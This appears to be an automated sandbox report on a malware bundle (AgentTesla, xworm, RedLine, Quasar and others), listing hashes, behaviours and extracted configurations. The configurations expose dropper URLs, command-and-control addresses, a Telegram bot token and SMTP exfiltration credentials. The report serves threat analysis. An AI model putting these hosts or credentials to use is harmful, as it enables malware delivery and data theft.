agenttesla | 16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267

max time kernel
99s
max time network
322s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
17-05-2024 09:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Downloaders.zip
Size

12KB
MD5

94fe78dc42e3403d06477f995770733c
SHA1

ea6ba4a14bab2a976d62ea7ddd4940ec90560586
SHA256

16930620b3b9166e0ffbd98f5d5b580c9919fd6ccdcc74fb996f53577f508267
SHA512

add85726e7d2c69068381688fe84defe820f600e6214eff029042e3002e9f4ad52dde3b8bb28f4148cca1b950cd54d3999ce9e8445c4562d1ef2efdb1c6bdeff
SSDEEP

384:6BfwcSEp9ZjKXSBIDv4dDfjlMJ7HWTHWB:efACW6Dr8HWTHWB

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d22hce23hy1ej9.cloudfront.net/load/th.php?a=2836&c=1002

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=458&c=1002

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d22hce23hy1ej9.cloudfront.net/load/dl.php?id=444&c=1002

Extracted

Family

xworm

127.0.0.1:7000

beshomandotestbesnd.run.place:7000

Attributes

Install_directory
%ProgramData%
install_file
taskmgr.exe
telegram
https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

beshomandotestbesnd.run.place:1111

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

79.132.193.215:4782

185.196.10.233:4782

Mutex

f99ccef5-65c4-4972-adf2-fb38921cc9fc

Attributes

encryption_key
1C15E91ACCFAC60B043A1336CF6912EA8572BA83
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.magna.com.pk
Port:
587
Username:
[email protected]
Password:
Ahp6wqxfZb)D
Email To:
[email protected]

Extracted

Family

xworm

Version

5.0

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/memory/2228-4596-0x000000001C370000-0x000000001C37E000-memory.dmp	disable_win_def

Detect Xworm Payload 6 IoCs

Processes:

resource	yara_rule
C:\ProgramData\system.exe	family_xworm
behavioral1/memory/2228-1330-0x0000000000440000-0x000000000045A000-memory.dmp	family_xworm
C:\Users\Admin\Desktop\Files\taskmgr.exe	family_xworm
behavioral1/memory/6444-1623-0x00000000009B0000-0x00000000009E8000-memory.dmp	family_xworm
C:\Users\Admin\Desktop\a\msmng2.exe	family_xworm
behavioral1/memory/688-11907-0x0000000000D60000-0x0000000000F80000-memory.dmp	family_xworm

PureLog Stealer
PureLog Stealer is an infostealer written in C#.
stealer purelogstealer

PureLog Stealer payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1952-11576-0x000001CA03DA0000-0x000001CA03DEC000-memory.dmp	family_purelog_stealer

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\a\client.exe	family_quasar
behavioral1/memory/2532-1942-0x0000000000950000-0x0000000000C74000-memory.dmp	family_quasar
C:\Users\Admin\Desktop\Files\qausarneedscrypted.exe	family_quasar
behavioral1/memory/3676-6009-0x0000000000300000-0x0000000000624000-memory.dmp	family_quasar

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
C:\ProgramData\build.exe	family_redline
behavioral1/memory/1988-1333-0x0000000000870000-0x000000000088E000-memory.dmp	family_redline

RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

Processes:

resource	yara_rule
C:\ProgramData\build.exe	family_sectoprat
behavioral1/memory/1988-1333-0x0000000000870000-0x000000000088E000-memory.dmp	family_sectoprat

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Warzone RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\a\Windows.exe	warzonerat

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
8304	powershell.exe
4924	powershell.exe
6748	powershell.exe
9456	powershell.exe
5788	powershell.exe
6928	powershell.exe
6968	powershell.exe
7496	powershell.exe
6744	powershell.exe
5820	powershell.exe
5724	powershell.exe
5680	powershell.exe
7424	powershell.exe
6828	powershell.exe
6804	powershell.exe
6292	powershell.exe
7592	powershell.exe
7288	powershell.exe
7144	powershell.exe
9956	powershell.exe
6656	powershell.exe
4260	powershell.exe
7504	powershell.exe
4924	powershell.exe
6928	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/memory/4016-1200-0x0000000002850000-0x00000000028B6000-memory.dmp	net_reactor
behavioral1/memory/4016-1202-0x00000000028C0000-0x0000000002924000-memory.dmp	net_reactor

Executes dropped EXE 19 IoCs

Processes:

OneDriveSetup.exeOneDriveSetup.exeFileSyncConfig.exeOneDrive.exe4363463463464363463463463.exeNew Text Document mod.exeDbVisualizer_Pro.exedusers.exeUsers.exenine.exelumma0805.exewmild.exewmild.execrypted_4c800f49.exeprint.exe222.exe324hj23k4jh423kjh4g423.exekatBC08.tmpReurgingGleek.exe

pid	process
1620	OneDriveSetup.exe
2844	OneDriveSetup.exe
3660	FileSyncConfig.exe
2076	OneDrive.exe
5836	4363463463464363463463463.exe
5976	New Text Document mod.exe
6124	DbVisualizer_Pro.exe
1840	dusers.exe
2604	Users.exe
5328	nine.exe
4928	lumma0805.exe
5508	wmild.exe
5564	wmild.exe
5632	crypted_4c800f49.exe
5644	print.exe
3456	222.exe
2520	324hj23k4jh423kjh4g423.exe
1508	katBC08.tmp
4016	ReurgingGleek.exe

Loads dropped DLL 42 IoCs

Processes:

FileSyncConfig.exeOneDrive.exeDllHost.exeDllHost.exe

pid	process
3660	FileSyncConfig.exe
3660	FileSyncConfig.exe
3660	FileSyncConfig.exe
3660	FileSyncConfig.exe
3660	FileSyncConfig.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
1448	DllHost.exe
5176	DllHost.exe

Modifies system executable filetype association 2 TTPs 7 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

Processes:

OneDrive.exeOneDriveSetup.exeOneDrive.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDrive.exe

Registers COM server for autorun 1 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Processes:

OneDrive.exeOneDriveSetup.exeOneDrive.exeFileSyncConfig.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\FileSyncShell.dll"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\INPROCSERVER32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LOCALSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{6bb93b4e-44d8-40e2-bd97-42dbcf18a40f}\LocalServer32	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LocalServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileSyncShell.dll"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\LocalServer32	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\FileCoAuth.exe"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /cci /client=Personal"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\amd64\\FileSyncShell64.dll"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\INPROCSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\LocalServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32\ThreadingModel = "Both"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{2E7C0A19-0438-41E9-81E3-3AD3D64F55BA}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{20894375-46AE-46E2-BAFD-CB38975CDCE6}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\ThreadingModel = "Apartment"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\FileSyncShell.dll"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\INPROCSERVER32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\InProcServer32	FileSyncConfig.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\FileCoAuth.exe"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\INPROCSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\amd64\\FileCoAuthLib64.dll"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileSyncShell.dll"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\18.151.0729.0013\\amd64\\FileSyncShell64.dll"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32\ThreadingModel = "Apartment"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{917E8742-AA3B-7318-FA12-10485FB322A2}\LocalServer32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\INPROCSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileSyncShell.dll"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{7B37E4E2-C62F-4914-9620-8FB5062718CC}\LocalServer32	OneDrive.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\Files\dusers.exe	upx
behavioral1/memory/1840-1051-0x0000000000400000-0x0000000000440000-memory.dmp	upx
behavioral1/memory/2604-1059-0x0000000000400000-0x0000000000442000-memory.dmp	upx
behavioral1/memory/1840-1096-0x0000000000400000-0x0000000000440000-memory.dmp	upx
behavioral1/memory/2604-1105-0x0000000000400000-0x0000000000442000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

OneDriveSetup.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

FileSyncConfig.exe

description ioc process

File opened for modification C:\Users\Admin\OneDrive\desktop.ini FileSyncConfig.exe

description	ioc	process
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	FileSyncConfig.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

SearchIndexer.exe

description	ioc	process
File opened (read-only)	\??\e:	SearchIndexer.exe
File opened (read-only)	\??\L:	SearchIndexer.exe
File opened (read-only)	\??\n:	SearchIndexer.exe
File opened (read-only)	\??\u:	SearchIndexer.exe
File opened (read-only)	\??\x:	SearchIndexer.exe
File opened (read-only)	\??\z:	SearchIndexer.exe
File opened (read-only)	\??\B:	SearchIndexer.exe
File opened (read-only)	\??\h:	SearchIndexer.exe
File opened (read-only)	\??\J:	SearchIndexer.exe
File opened (read-only)	\??\M:	SearchIndexer.exe
File opened (read-only)	\??\p:	SearchIndexer.exe
File opened (read-only)	\??\r:	SearchIndexer.exe
File opened (read-only)	\??\w:	SearchIndexer.exe
File opened (read-only)	\??\y:	SearchIndexer.exe
File opened (read-only)	\??\E:	SearchIndexer.exe
File opened (read-only)	\??\F:	SearchIndexer.exe
File opened (read-only)	\??\i:	SearchIndexer.exe
File opened (read-only)	\??\P:	SearchIndexer.exe
